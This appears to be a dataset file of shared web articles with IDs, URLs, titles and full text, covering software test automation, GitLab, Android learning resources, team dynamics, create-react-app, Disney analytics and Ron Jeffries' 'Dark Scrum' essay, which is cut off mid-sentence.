1473593226,CONTENT SHARED,-2358756719610361882,-9120685872592674274,5016857076790212194,,,,HTML,http://www.attps.com.br/cinco-motivos-para-investir-em-automacao-de-testes-e-reduzir-o-custo-do-erro/,Custo do Erro - Cinco motivos para investir em automação de testes,"Atualmente, o custo de manutenção de software representa cerca de 50% do custo de uma empresa desenvolvedora de software. O Instituto de Pesquisa Triângulo (RTI), sediado no Estados Unidos, realizou um estudo para o Instituto Nacional de Padrões e Tecnologia (NIST) dos EUA, em 2002, para estimar o impacto do teste de software inadequado sobre a economia dos Estados Unidos. As suas conclusões foram que esses custos ou perdas financeiras ocasionadas por defeitos de software ficaram na ordem de US$ 59,5 bilhões, ou 0,06% do PIB dos EUA. Cerca de 37%, ou US$ 22 bilhões, deste custo poderia ser evitado caso fossem aplicadas técnicas de automação de testes de forma correta, com infrastrutura adequada e realizados de forma sistemática. Um estudo recente da Universidade de Cambridge mostra que o custo global com defeitos de software, nas atividades de encontro e remoção dos defeitos, cresce anualmente a uma taxa de US$ 312 bilhões de dólares. Este custo representa em média a metade do tempo de desenvolvimento de projetos de software. Os desenvolvedores, em média, gastam 50,1% do seu tempo em atividades que não são de desenvolvimento. Metade do tempo útil do programador é gasto em atividades de correção de defeitos. Diante destes custos elevadíssimos, destacamos CINCO MOTIVOS PARA INVESTIR EM AUTOMAÇÃO DE TESTES DE SOFTWARE PARA REDUZIR ERROS EM PRODUÇÃO. 1- Teste manual sozinho não consegue ter a mesma abrangência de execução dos testes automatizados Cada grupo de desenvolvimento de software testa seus próprios produtos, contudo software entregues sempre tem defeitos. Os analistas de teste se esforçam para pegá-los antes do produto ser lançado, mas os defeitos insistem em reaparecer, mesmo com os melhores processos de testes manuais. Automação de testes de software é a melhor maneira de aumentar a eficácia, a eficiência e a cobertura de execução do seu teste de software, aumentando assim a confiabilidade e a estabilidade dos sistemas em ambiente de produção. 2- Teste manual é executado por seres humanos. E seres humanos invariavelmente falham. Teste de software manual é uma atividade realizada por um ser humano sentado em frente ao computador, que de forma cuidadosa, passa por telas de aplicativos, tentando várias combinações de uso e de entrada, comparando os resultados com o comportamento esperado e evidenciando as suas observações. Testes manuais são repetidos por várias vezes durante os ciclos de desenvolvimento de alterações no código fonte e outras situações, como vários ambientes operacionais e configurações de hardware. Estas repetições de teste manuais podem ser falhas, cada pessoa pode interpretar uma ação ou resultado de forma diferente no momento da execução do teste ou ainda, se ausentar por diversos motivos, gerando atrasos ao projeto. 3- Teste automatizado é executado por robôs, 24 horas por dia, 7 dias por semana. Uma ferramenta de testes automatizados é capaz de reproduzir ações pré-gravadas e pré-definidas, comparar os resultados com o comportamento esperado e relatar o sucesso ou fracasso desses testes manuais para um analista de teste. Uma vez que os testes automatizados são criados, eles podem facilmente ser repetidos e estendidos, uma tarefa impossível com os testes manuais. Devido a isso, os gerentes experientes descobriram que o teste de software automatizado é um componente essencial dos projetos de desenvolvimento bem-sucedidos. 4- A cobertura de teste aumenta de forma significativa nos testes automatizados Teste de software automatizado pode aumentar a profundidade e o alcance de testes para ajudar a melhorar a qualidade do software. Testes longos e que muitas vezes são evitados durante o teste manual podem ser executados sem supervisão. Eles podem até mesmo ser executados em vários computadores com diferentes configurações. Teste de software automatizado pode olhar para dentro de um aplicativo e ver o conteúdo da memória, tabelas de dados, conteúdo de arquivos, comparar imagem de telas, e os estados internos do programa para determinar se o produto está se comportando conforme o esperado. Automação de teste pode facilmente executar milhares de diferentes casos de teste complexos durante cada teste, fornecendo uma cobertura que é impossível com testes manuais. 5- Teste automatizado de software economiza tempo e dinheiro Testes de software tem que ser repetido muitas vezes durante os ciclos de desenvolvimento, para garantir que a qualidade seja mantida em níveis aceitáveis. Cada código fonte alterado precisará ter testes de software repetido. Para cada versão do software liberada, pode ser necessário que seja testado em todos os sistemas operacionais e configurações de hardware. Fazer isto manualmente é uma tarefa muito dispendiosa e demorada. Uma vez criado, os testes automatizados podem ser executados uma e outra vez sem nenhum custo adicional, e eles são muito mais rápidos do que os testes manuais. Teste de software automatizado pode reduzir o tempo para executar testes repetitivos de dias para horas, com um nível de acertividade muito maior do que os seres humanos podem conseguir realizar. A economia de tempo é traduzida diretamente em redução de custos, aumento de qualidade e satisfação do cliente. Veja neste comparativo entre teste manual e teste automatizado. O custo inicial do teste automatizado é de fato maior, mas é um custo que se paga já a partir do quinto sprint. E o custo do teste manual continua a crescer de forma linear até não poder ser mais viável, onde passa a deixar de ser feito e irá gerar custos de manutenção corretiva, além de desgastes na relação com o cliente e perda de mercado do seu produto. O ROI (return of investment) dos testes automatizados sobre teste manual pode ser da ordem de 63% ao final de um ano. Algo espetacular, concorda? Por Rodrigo Almeida, Gerente de Qualidade de Software",pt
1473621836,CONTENT SHARED,1432311799980176241,-9120685872592674274,5016857076790212194,,,,HTML,https://about.gitlab.com/2016/09/07/gitlab-special-event/,Live Event: Unveiling the GitLab Master Plan,"TL;DR: GitLab CEO Sid Sijbrandij is unveiling the GitLab Master Plan during a special live event. Join here ! The world of software development is changing. More companies are joining the open source world due to improved efficiency, interoperability, and innovation. Developers' roles are shifting away from specialized functions and moving toward a unified management process, accessible to their entire team with as little external integrations as possible. These changes in the way we work have presented new challenges for modern development teams. With the entire team more aware of each step in the development process - from solving bugs to creating innovative features - teams need a better way to work together. By putting conversations first and integrating chat into our platform, we can eliminate dozens of external toolsets, understand ourselves better, and achieve desired results in shorter time. This is what efficiency is all about. GitLab vision The need to track the full path of development in a cohesive and intuitive way has already started to make room for new, modern development tools and practices that foster collaboration and information sharing across the entire lifecycle of a project. At GitLab, our vision is to allow everyone to collaborate on all digital technologies so people can cooperate effectively to achieve better results. It's our mission to make collaboration seamless so you can work faster, innovate better, and have more fun while doing it. We believe that to deliver more relevant functionality with higher quality, the effort required to get the job done must be reduced. To get there, we are working on solutions to go faster from idea to production . After the success of the GitLab Issue Board , a solution for better planning within the GitLab UI, we are working on having all 10 solutions ready to go for the GitLab community. This is why we're excited to invite you to join us for a special, live event with GitLab's CEO, Sid Sijbrandij . During the event, Sid will share the GitLab Master Plan , and demo our advanced workflow for modern software production using Conversation Driven Developement (CDD) . Everyone is invited to tune in, encouraged to ask questions, express opinions, and share ideas with us. At GitLab, everyone can contribute! Join us for the live event from anywhere Register here for this special event on Tuesday, September 13th at 1pm ET / 5pm GMT. Our CEO, Sid Sijbrandij, will give a special announcement and walk through the future plan for GitLab and software development. Stick around after the announcement for a Q&A session with Sid, CEO, Job van der Voort, VP of Product, myself, Chief Marketing Officer, and guest MC Community Extraordinaire Jono Bacon . Install GitLab on your own server in 2 minutes → Browse all posts",en
1473628002,CONTENT SHARED,-7518373517401484139,-4465926797008424436,-4331427112707643376,,,,HTML,https://m.signalvnoise.com/my-favorite-people-and-resources-to-learn-android-programming-from-293f249e2b4e?gi=58d339366f0d,My favorite people and resources to learn Android programming from,"���� Twitter I've really enjoyed following these Android community members on Twitter. These folks aren't just knowledgeable teachers and key open-source contributors. They're also positive-minded, hopeful, and friendly. Those qualities are just as important to me as being an expert in the area. Chiu-Ki Chan  - A devoted learner and teacher, Chiu-Ki does it all. She interviews folks , runs 360|AnDev , teaches on Caster , speaks , draws , writes , and probably does 100 other things I don't know about. �� Donn Felker   - Not only an Android GDE, Donn's got a great blog full of helpful posts. He's also half of the Fragmented Podcast along with Kaushik Gopal (who's pretty sharp in his own right). And if that weren't enough, Donn's also the head honcho at Caster.io , a fantastic site for video tutorials. Jake Wharton   - Honestly, if you don't know who Jake is, you might be in the wrong place. Just go here now. �� Kristin Marsicano   -   An instructor at Big Nerd Ranch, Kristin has a wonderful down-to-earth vibe and is clearly a great teacher. Her recent talk at 360|AnDev on the activity lifecycle is a great refresher for something you probably don't think about enough. Ryan Harter   - Ryan's a GDE who's been teaching a lot lately about how to reduce boilerplate code . He also helps run GDG Chicago West and is an instructor at Caster . The Practical Dev -OK, this isn't technically Android specific. But it's such an informative and entertaining commentary on programming, I had to include it. Sometimes reading general programming posts can be really enlightening (and hilarious). (Note: It'd be impossible to write about every single person who's a great Android teacher, but you can find more on this extended Twitter list that I'll keep adding to.)",en
1473637839,CONTENT SHARED,-7953698795259311774,3609194402293569455,-4115600463114156094,,,,HTML,http://googlediscovery.com/2016/08/29/estudo-do-google-revela-os-segredos-do-bom-trabalho-em-equipe/,Estudo do Google revela os segredos do bom trabalho em equipe | Google Discovery,"Com o objetivo de descobrir como ""construir uma equipe mais produtiva"", o Google montou um estudo chamado ""Project Aristotle"" (""Projeto Aristóteles"") que se baseia em centenas de entrevistas com funcionários e a análise de dados de mais de 100 equipes de trabalho na empresa. O resultado é óbvio: as melhores equipes são aquelas que respeitam as emoções do outro e estão conscientes de que todos os membros devem contribuir com a conversa. Ao mesmo tempo, pouco tem a ver com quem está em uma equipe, e sim com a forma como os membros interagem. De acordo com o buscador, existem cinco principais dinâmicas que definem o sucesso de uma boa equipe: Segurança psicológica: Podemos assumir riscos sem se sentir inseguro ou envergonhado? Confiabilidade: Podemos contar com os outros para fazer um trabalho de alta qualidade em tempo? Estrutura e clareza: São claros os objetivos, funções e planos? Significado do trabalho: Será que estamos trabalhando em algo que é pessoalmente importante para cada um de nós? Impacto do trabalho: Será que acreditamos no trabalho que estamos fazendo? O conceito de ""segurança psicológica"" talvez seja o principal ponto para um trabalho em equipe pois permite que os membros possam usufruir de uma conversa franca entre as ideias sem o medo de que qualquer pessoa seja humilhada frente ao grupo. ""Você se sente como se pudesse perguntar sobre o objetivo sem o risco de soar que você é o único fora do circuito? Ou você opta por continuar sem esclarecer alguma coisa, a fim de evitar ser percebido como alguém que não tem conhecimento?"", diz um Googler.",pt
1473679219,CONTENT SHARED,7077639154797499584,3217014177234377440,4115185045256903778,,,,HTML,http://www.xmind.net/newsletter/sep-2016-eduplus2/?ref=newsvib,[Tools] XMind Plus - Last Chance for students' 1$ gift,Mind mapping is a revolutionary approach to both teaching and learning. Mind maps capture each individual's thought process and make it easier for students to communicate and present ideas. Using mind maps as an innovative thinking tool in education helps students visualize concepts and understand the connections between different ideas.,en
1473679963,CONTENT SHARED,-5676280017759875198,6971525809430309144,5595814970666606058,,,,HTML,https://medium.freecodecamp.com/create-react-app-and-the-future-of-creating-react-applications-3c336f29bf1c?gi=f66b45af7d8e,"""create-react-app"" and the future of creating React applications","Over the past few years, I've been heavily involved with teaching people how to build applications with React.js. First there was React Week , held way back in March of 2015. Then came Egghead . Then came React.js Program . Throughout all of these workshops, one thing was consistent: getting started with a React application was pretty overwhelming , for both beginners and senior developers alike. Yes, we're building better quality apps than we've ever built. Yes, even a few years ago we had nothing comparable to the tooling we have now. Yes, the end result is worth it . But that doesn't make it any easier for someone who just wants to get to ""Hello World."" This is why I'm excited about ""create-react-app"" . "" create-react-app "" is an official command line interface (CLI) for building React applications with no build configuration. To get started, do this: You'll get output that looks like this: This is huge! If you're just getting started with React, you should probably take a break and just relish this moment. Now, when you build a React app, you don't need to know the secret combination of Webpack and Babel. You can just focus on what you really care about: building the actual app. If we cd into our Awesome project, we'll have a folder structure that looks like this: and a very minimal package.json: You'll notice you have three options: start , build , and eject . start is what you're probably already familiar with. It will start up a local development server on localhost:3000 build will prep your app for production by correctly bundling React in production mode (by setting NODE_ENV to ""production""), minifying your code (with filename hashing), and outputting the result to a build folder. eject is the interesting one. Our friends over on the React team are pretty smart, and they didn't want you to be ""locked in"" to their specific configurations for the lifetime of this project. Because of this, you have the ability to ""eject."" eject will take all of the default configuration and build dependencies given to you by create-react-app , thenmove them into the project itself. This way your project can continue from exactly where it is. But now you'll have the ability to modify any of the default configurations you were given by create-react-app . The downside of eject is that once you run it, you can't go back. To see this in action, if you run npm run eject , your package.json file changes from the code above, to this: And our folder structure now looks like this: So it's just like we described above: all of the configuration settings that were abstracted from us earlier have now been moved into our project, so we have direct control over them from that point on. There are some other great features, besides just the ability to ""eject."" I think the main goal of this project was to take the ""most common denominator"" features, if you will, and tie them into a CLI. Out of the box you get: React, JSX, ES6 (and some ES+) the ability to import CSS and images directly from JavaScript CSS, which is automagically autoprefixed a production build script as we talked about earlier a development server, which will lint for common errors All of which are pretty fundamental and universal for building a React app. Now, with that said, you'll notice there are some pretty fundamental pieces still missing. It's difficult to make so many decisions without trudging over the ""opinionated"" line. This project is opinionated, and with those opinions comes tradeoffs. The README points out that there's still no support for the following testing server Rendering some experimental syntax extensions (like decorators) CSS Modules LESS or Sass hot reloading of components This might be a deal breaker for some of you. Many of those things have become standard for building a real ""production grade"" React app. However, if you're the type of person who is doing Server Side Rendering along with decorators, you're most likely not the target market here. Final thoughts Overall, I'm excited for this project. It benefits the part of the community which desperately needed more guidelines and help getting started while not really affecting everyone else who already had their own process. Do I think you should still learn Webpack and Babel? Absolutely. But now, that decision is up to you.",en
1473681126,CONTENT SHARED,-4948717594596229869,-5639303336519418445,-2170446169967357070,,,,HTML,http://metanalytics.com.br/artigos/inteligencia-analitica-disney/,Inteligência Analítica: como a Disney utiliza Analytics - Metanalytics,"Inteligência Analítica Na década de 1960, o sonho de Walt Disney era a construção de um resort familiar como nenhum outro. O sonho tornou-se realidade quando o Walt Disney World Resort foi inaugurado em 1971, com o parque Magic Kingdom como ponto central deste empreendimento. Hoje, milhões de pessoas visitam a Disney a cada ano para usufruir dos parques temáticos e dos hotéis. Além de quatro parques temáticos, há uma série de atividades para desfrutar no resort , como fazer compras no Downtown Disney , jogar golfe em um dos cinco campos ou mergulhar em um dos parques aquáticos da Disney. E quando você ficar com fome, existe mais de 300 lugares próximo ao resort , variando de fast-food a jantares requintados. Os hóspedes em férias geralmente se concentram nas atividades e atrações que o resort tem para oferecer. O que a maioria não percebe é o cuidadoso planejamento que acontece ""nos bastidores"" para executar toda essa operação. Neste artigo, vamos mostrar o papel da inteligência analítica para garantir que a experiência dos hóspedes seja maximizada. No final deste artigo você poderá se inscrever no Congresso On-line ( Conalytics ) sobre Analytics, Big Data e Modelagem Estatística. A inscrição é grátis. Uma das palestras aborda o tema sobre a aplicação de Analytics na Disney. Melhorar a experiência do hóspede através da previsão As previsões realizadas servem como base analítica para a tomada de decisão e planejamento de vários segmentos de operações no resort . Tudo começa com previsão do número de pessoas que irão aos parques, isso define a capacidade de atendimento esperado, o tempo de funcionamento dos parques e outros planejamentos estratégicos. Algumas previsões são mais detalhas e realizadas para cada área do resort , como as chegadas de hóspedes nos hotéis. Estas previsões ajudam o planejamento de todo o trabalho no resort visando garantir que todos os serviços solicitados pelos hóspedes sejam atendidos. A operação de figurinos do resort é uma das maiores do mundo, com mais de um milhão de fantasias. A demanda de vestimentas varia ao longo do tempo conforme a estação do ano e conforme os tamanhos individuais do elenco que irá utilizar. Diferente de um sistema de estoque tradicional em que há apenas entrada e saída de produtos, nesta operação deve-se considerar que após a utilização das roupas, os vestuários são lavados e colocados de volta na prateleira. A substituição de um vestuário do estoque é ainda mais complicada em decorrência da ocasional ""aposentadoria"" de personagens. Este ambiente dinâmico requer modelos estatísticos sofisticados para que se tenham roupas suficientes para atender à demanda do elenco e não ocorram gastos excessivos com roupas sem utilizar nas prateleiras. Outra forma inovadora de utilizar previsões é no tempo de espera para atrações. As atrações mais populares utilizam o sistema Disney FastPass - um sistema de fila virtual em que o usuário recebe um bilhete com intervalo de uma hora em um horário especifico e neste período eles podem retornar e pular a fila normal. A fila virtual representa um desafio extra para prever o tempo de espera na fila, uma vez que muitos convidados com o FastPass vão voltar antes de chegar a vez do usuário que esta aguardando. Em uma central debaixo do Magic Kingdom , modelos de previsão são executadas a cada 5-10 minutos para projetar os padrões de retorno dos clientes do FastPass com base numa variedade de fatores, incluindo outras programações e do número de bilhetes FastPass que foram distribuídos. Estas previsões são afixadas em frente das atrações para ajudar o hóspede a escolher se quer entrar na fila, se pegam um bilhete FastPass ou se voltam para a atração mais tarde. Tomando decisões mais inteligentes Previsões precisas são de extrema importância, porém os resultados só têm valor quando utilizado para tomar decisões mais inteligentes. Os analistas da Disney buscam entender mais sobre os clientes e suas preferências, desta forma eles podem utilizar as análises para personalizar ofertas e experiências que melhor se adequem aos desejos dos clientes. Por exemplo, a análise de dados é utilizada para entender quais pacotes de férias são mais atraentes para os diferentes tipos de hóspedes. Esta análise, juntamente com modelos de otimização, permite que o site da empresa e os nossos agentes de call center apresentem ofertas personalizadas para as férias dos clientes. A operação do serviço de mesa dos restaurantes do resort é otimizado de forma única. As análises estatísticas ajudam a empresa a entender os padrões de número de ocupantes em uma mesa, horários de chegada e os tempos de saída. Este conhecimento é incorporado em modelos matemáticos que determinam a combinação certa de mesas para melhor atender os convidados. Outro conjunto de modelos ajuda a desenvolver necessidades de estoque que considerem a natureza probabilística da operação, maximizando a utilização do restaurante. Uma atualização recente fez com que esses modelos fossem dinâmicos - considerando as reservas já feitas e as reservas projetadas. Uma cultura analítica emergente Durante a última década, as análises desenvolvidas na Disney foram poderosas ferramentas para trazer ainda mais magia para os hóspedes do resort . Vários departamentos estão melhorando suas ferramentas de Analytics para auxiliar na solução de problemas de negócios que incluem marketing, engenharia industrial, gestão de receita e transporte, para citar apenas alguns casos. Um dos resultados deste crescimento é a realização de encontro anual conhecido como Disney Analytics & Optimization Summit . Um encontro que reúne pessoas da Disney que desenvolvem análises na empresa com profissionais externos. No ano passado, cerca de 300 pessoas participaram do encontro, uma prova da quantidade de análises realizadas e como ela é valorizada pela empresa. Embora grande parte deste trabalho originou-se no Walt Disney World , outras empresas do grupo também estão adotando projetos quantitativos. Muitos projetos analíticos de sucesso no Walt Disney World são implantados posteriormente em outros parques e resort da empresa em todo o mundo. Prova disso é que recentemente a Disney lançou dois novos navios de cruzeiro pela sua empresa de cruzeiros, o Disney Dream e o Disney Fantasy . Diversas análises forma realizadas durante todo o processo de planejamento, incluindo a organização da logística para a formação de quase 1.700 novos membros da tripulação e planejamento dos turnos da tripulação dentro e fora do navio. A Disney também continua a procurar maneiras de expandir suas melhores práticas em análise a outros segmentos da companhia, incluindo a ABC, ESPN e as divisões do Studios Disney . Com mais informações disponíveis em um cenário de constante mudança, a necessidade da Disney em realizar análise continuará a crescer significativamente no futuro. __________________________________________________________________________________________________________________________________ Imagine... Assistir Gratuitamente do Seu Computador ao 1º Congresso On-line sobre Analytics, Big Data e Modelagem Estatística... 1º Congresso On-line de Analytics, Big Data e Modelagem Estatística. Vagas Limitadas !!! O Conalytics será realizado inteiramente on-line e a versão ao vivo será gratuita. Serão apresentações de especialistas da área de Analytics, Big Data e Modelagem Estatística que irão compartilhar com você suas experiências, dificuldades e dicas em uma abordagem prática sobre o tema. __________________________________________________________________________________________________________________________________ Recomendamos também: Este texto é uma tradução livre do artigo "" How analytics enhance the guest experience at Walt Disney World "" publicado na revista "" Analytics "" de Outubro de 2012, escrito por Pete Buczkowski e Hai Chu. Pete Buczkowski é o gerente da equipe de ""Advanced Analytics"" do departamento de Engenharia Industrial da Disney. Hai Chu é o diretor do departamento ""Decision Science and Support within the Revenue Management & Analytics"" da Walt Disney Company.",pt
1473684520,CONTENT SHARED,-8511291357261863413,6960073744377754728,-8019369593564010761,,,,HTML,http://ronjeffries.com/articles/016-09ff/defense/,Dark Scrum,"Let's talk about ""Dark Scrum"". Too often, at least in software, Scrum seems to oppress people. Too often, Scrum does not deliver as rapidly, as reliably, as steadily as it should. As a result, everyone suffers. Most often, the developers suffer more than anyone. The theme behind a lot of my thinking lately is this: Kent Beck, my original ""Agile"" mentor, once said that he invented Extreme Programming to make the world safe for programmers. It turns out that the world is not yet safe for programmers. Scrum can be very unsafe for programmers. To paraphrase Ken Schwaber, one of the co-creators of Scrum, in another context: ""That makes me sad"". Scrum, done even fairly well, is a good framework. I'm quite sincere about that. It's good to have a strong connection to the business deciding what needs to be done, and what needs to be deferred. It's good to have all the skills you need to build the product right on the team. It's good to build a tested tangible product every couple of weeks, and it's good to show it to stakeholders, and it's good to review how things went and how to improve them. I've studied, worked with, and thought about Scrum for years, and everything about it is really quite good. Not perfect, but really quite good. Unfortunately, that's Scrum as a concept, Scrum as an ideal, Scrum done as intended. Like every good idea, the reality sometimes falls short. Sometimes it falls far short. I call the result ""Dark Scrum"". Dark Scrum: Some Typical Abuses of Scrum Let's look at how things can go wrong in Dark Scrum, in just a few steps. In this section we observe a team experiencing Dark Scrum. The Dark Scrum leaders mean well: they're just doing it wrong. Self-organization is slow to happen. Clearly it takes some time to get good at Scrum. It has new roles and activities. Even more difficult, it asks that we take on new values. We're supposed to let our developers self-organize to do the work. It's easy to call the Scrum meetings and call ourselves by Scrum roles. It's not at all easy to really walk the walk. Scrum generally starts with very few people trained, even fewer understanding it, and a lot of people who think they know what they're supposed to do. It should be no surprise if they do it wrong, and very often they do. Often, today's power holders believe that their job is to decide what their people should do, tell them to do it, and see that they do. Scrum teaches otherwise: explain what needs to be done, then stand back and let the people self-organize to do it. People can't just click over into Scrum's new mode of operation. It takes time to unlearn the old ways. It takes time to learn new habits, time to learn to trust the team. It takes time for the team to learn how to be trusted: in a way that's the underlying message of this article. Scrum's training begins this learning process for the people who get the training. Dark Scrum begins when people who know their old job, but not their new Scrum job, begin to do the Scrum activities. It goes like this: Awesome, we can help the team every day! Every day, the team is supposed to get together and organize the day's work. This practice, the ""Daily Scrum"", is imposed on the typical team. There might be one person in the room, the ScrumMaster, who has been told how it should be done. The programmers haven't been told. Quite often, even the Product Owner hasn't been told. Almost certainly other power holders haven't been told. But the power holder already knows his job. His job is to stay on top of what everyone is doing, make sure they're doing the right things, and redirect them if they're not. How convenient that there's a mandatory meeting where he can do that, every single day! The result: instead of the team rallying around their joint mission and sorting out a good approach for the day, someone else drags information of of them, processes it in their head, and then tells everyone what to do. Since nothing ever goes quite as we expected yesterday morning, this improper activity often comes with a lot of blame-casting and tension. Dark Scrum oppresses the team every day. Self-organization cannot emerge. We also have convenient frequent planning! Every Sprint, the Scrum Product Owner is supposed to meet with the team, and describe what's needed. The team then figures out what they can do to meet the needs, and begins to build it. Well, that's the theory. In practice, there may not even be a business-side Product Owner. Even if there is, odds are they are not trained in how to be a Product Owner. Well, the power holders may be new to Scrum, but they know a lot about how to handle this problem. So every two weeks they show up and tell these programmers what they have to build. Oh, those programmers will push back. They are lazy, and recalcitrant. But the power holders keep the pressure on, because that's how you manage people. So they tell the team what to do and they'd better do it. Of course, power holders have little or no idea how to program, and the programmers usually at least have some clue. They have no idea what the state of the code is, and the programmers usually do know. The programmers are supposed to decide how much work to take on in Scrum, but in Dark Scrum, power holders know better. They pile it on. They see that as their job: drive the team. The results never vary. The team sincerely tries to do what is demanded. They know there's no point in saying it's impossible, even though it is. They'll just get berated for being lazy, stupid, trouble-makers. So they do their best and it isn't good enough. At the end of the Sprint, results are not what was demanded. Magic has once again not happened. The developers have failed again. Fortunately we have just the chance to set them straight: the Sprint Review! We get to critique what's done - and what's not. Every Sprint, stakeholders look at what the team has accomplished and provides guidance on how to go forward. Great theory, rarely done in practice when organizations are not expert in Scrum. In practice the Dark Sprint Review begins by someone reminding everyone what the team ""promised"" to do. (That is, what was demanded right before the team said ""We'll try"". That's a promise, isn't it?) Then we look at the pitiful failure the team brings us. Guess what. The organization demanded more than could be done, and they didn't get it. The team tried, and in trying, they took every shortcut they could think of to get all those unreasonable requests finished. They skimped on testing. They skimped on design. They even worked when they were too tired to think straight. They fell short and what they did accomplish wasn't very good. The team failed. Again. Fortunately, Dark Scrum has power holders, Product Owners, and stakeholders for this effort. They make sure the programmers are made fully aware of how badly they've done. That will surely inspire everyone to do better next time. To help with that, we have the Sprint Retrospective! We get to tell them how to improve ... In the Sprint Retrospective, the team looks back at the preceding Sprint, and at prior history. They observe what has gone well and what has not gone well. They figure out how to improve their process for next time. In practice, Dark Scrum leaders help them with that. We remind the team that they fell short, despite how closely we were managing them. We make it clear to these developers that their failure - and it is a failure - was surely due to a combination of laziness and incompetence. To inspire the team to do better, we point out the consequences of not improving, which will almost certainly include the rolling of heads. That always gets their attention. Sometimes the team will offer suggestions. Let me prepare you right now for that. Here are some things they might say, and how you might answer them: Developers : We need to do more testing to reduce the bug count. Power Holder : No. You're already falling behind on features. You need to code smarter. Stop putting in bugs and you won't have to remove them. We need features, not tests! Developers : The design is getting crufty. We need to refactor to improve it. Power Holder : No. Why did you write a crappy design in the first place? No one told you to write a crappy design. Stop doing that and fix what's wrong. There's a weekend coming up. Do it then! Developers : The requirements are unclear, they don't get clarified, and then what we build gets rejected at the last minute. Power Holder : We hired you to be smart and figure things out. You're supposed to self-organize to solve these problems. Quit sitting on your asses and build what we want! You get the idea. Keep these people's nose to the grindstone, and their feet to the fire. That has always been what it takes to get software done. Scrum doesn't change that. Wow, that was depressing. Well, of course, Scrum is actually trying to change all that. But until the hearts and minds of the organization actually change, there'll be too much of the old-style management happening ... and now it happens every couple of weeks ... often every single day! What can we developers do? The things that happen in Dark Scrum are abuses. They really are in opposition to what Scrum tries to teach us. No real Scrum expert would recommend any of these things. People who do these things are not ""doing it right"". Everyone agrees about that. Still, Dark Scrum does happen, and it happens far too often. In my view, abuses are almost inevitable until people really learn Scrum's principles and values. It might seem that there's nothing a development team can do but accept oppression. Fortunately, that's not the case. The good news is that there's something very powerful that we can do. The bad news is that it isn't easy. The other good news, though, is that it's mostly about programming and we're usually pretty good at that. Much of the pressure from Product Owner and/or other power holders comes because they can't see clearly what we're working on, what we're actually getting done. If we can make progress crystal clear, we can change how we're treated. If the product has a lot of known defects, our leadership will assume that there are even more, and they'll be afraid. In their fear, they'll put us under even more pressure, and since fear often manifests as anger, they'll be angry with us. Often, very angry. If we're working on design or infrastructure before features, features seem to come out slowly. This makes our leaders afraid that we'll be late or fail to deliver important features. Again, we are subjected to fear and anger. If we slow down because our design is falling behind, we produce fewer features. Fewer features, more fear, more anger, more pressure. When leadership cannot see working software, they become afraid about the future - and rightly so. They show that fear, invariably, in ways that are not helpful, and that are generally painful. Developers can stop that from happening. The only way I know is to deliver software. Real, live, working software. With visible features! The Power of the Increment Scrum asks us to deliver a tested, integrated, working, shippable increment of the product, at the end of every Sprint. We'll talk shortly about how to do that. For now, let's imagine that we can do it: we have the ability to deliver a working product increment every couple of weeks. Much of the fear will go away by itself, because leadership can see real results. Some will remain, however, because quite likely real results lag behind their hopes and dreams. Everyone hopes for a sports car, but sometimes you only get a bike. Maybe you wanted a pony, but you only get a dog, not even a cat, which a man could at least respect. (But I digress.) Still, with a solid increment in hand, tested, integrated, containing the most important features they've given us to do, we can change the conversation: Power Holders : You're not getting enough done: you have to do more. Developers : We're doing all we can, and we'll keep trying to improve. Meanwhile, all this works and is usable. It might be wise to use our real rate of delivery to predict how fast we'll go. It might be best to have us work on the most important backlog items first. It might be best to trim each item down to be as lean as possible. This won't just work magically right away. But it will begin to help, and the more true and real our product increment is, the more it will influence people to look at reality and base their management on it. Contrary to what we often think, our leaders are not stupid. They're doing the best they can with the information they have. If we can give them better information, in the form of working software, they'll begin to use that information. Using that information, they'll resort to less pressure and less abuse. Again, this isn't magic and it won't happen overnight. However, I've seen it happen time and again. Other than in the most dysfunctional organization on earth - and only a few of you readers actually work there - it will work, if we keep at it. There's a catch. There's always a catch. The catch here is that in order to change the conversation, in order to reduce pressure and abuse, the increment must actually work. It really has to be tested, integrated, ready to ship, containing all the backlog items we've undertaken to do. That isn't easy. Worse yet, we didn't learn in Computer Science how to do it. We didn't learn in Software Engineering how to do it. We can't learn how to do it at IT Tech Institutes, and we won't find it in Your Favorite Language for Dummies . There are practices that are specially formed to allow teams to build software incrementally, keeping it well tested, well designed, focused on features, and ready to go at all times. If we're going to change Dark Scrum into Scrum as She Should Be Played , we need to learn these practices. Fortunately, they're not that hard to pick up, although like all programming, they do require practice and hard work if we want to be good at them. Later in this series we'll look at them in more detail, but let's look at some of them briefly here: Acceptance Testing It is quite common for there to be disputes, at the end of a Sprint, about whether the team did or did not build what the Product Owner ""wanted"". These disputes are wasteful and they tend to drive Product Owner and developers apart. We want them working closely together, not fighting with each other. One very strong practice is for the PO and the developers to agree on concrete, executable acceptance tests for each story. It can be productive to think of these as ""examples"". Team: OK, we want the system to show all the organizations' accounts that are 30 days in arrears, and a total of the arrearage. Here's a table of accounts, and a table showing what the identified accounts would look like, with the sum. PO: No, that's not quite right. We don't want to show them at thirty, only beyond thirty. Each little example becomes an acceptance test for the story or backlog item in question. By convention, if the tests don't run, the team has not finished that story. Conversely, if the tests do run, the Product Owner and team agree that we have done what was asked. It's possible, of course, that the Product Owner won't like what she sees. But now the conversation has changed. She can't legitimately say ""That's not what I wanted"". It is what she wanted when we agreed. She has learned something and now wants something different. That's just fine, it's the PO's job to find her way to the best possible product. Working from concrete acceptance tests helps us understand what's being asked for, helps us know when we've accomplished it, and helps us know when we're refining our understanding and asking for something to be changed. As an important bonus, when we automate these examples, we can run all of them and show with certainty that the product is still doing what we agreed it should do. Incremental Design In a Scrum project, we're supposed to deliver a tested, working, potentially shippable Product Increment after each Sprint. Obviously, we can't have the whole design figured out at the beginning: we only know roughly what the product will even be. Equally obviously, we need to wind up with a good design at the end. Therefore, the design of our software must be created incrementally, a bit at a time. That's OK: when the product is small and incomplete, it doesn't need much of a design. As it grows, it needs a larger, better, more robust design. We just need to grow the design as we grow the product. ""Just"" . The most dangerous word in software development. Building up the design as we go is difficult. It requires skill in design, skill in testing, and skill in refactoring. We'll explore those here below, and in other articles in this series. Over time, we'll point you to some resources on the subject. But the fundamental truth remains: if we are going to deliver a Product Increment every Sprint, we must find a way to do good design, incrementally. Refactoring The best way we know today to do incremental design is called ""Refactoring"". Refactoring is the process of improving the design of existing code - without breaking it ! Refactoring isn't rewriting. Certainly if we have a program with a bad design, we can write a new program, using a better design. Probably I should say here ""just write"", because that trick rarely works. But in principle we could. It would take a long time, however, and in Scrum we don't have a long time: we need a better design by the end of the current Sprint. Refactoring is a process of transforming the code, usually in very small steps, to make it better. Modern IDEs help us with this: most of them offer a number of automated refactorings. They can extract a commonly-used bit of code and turn it into a 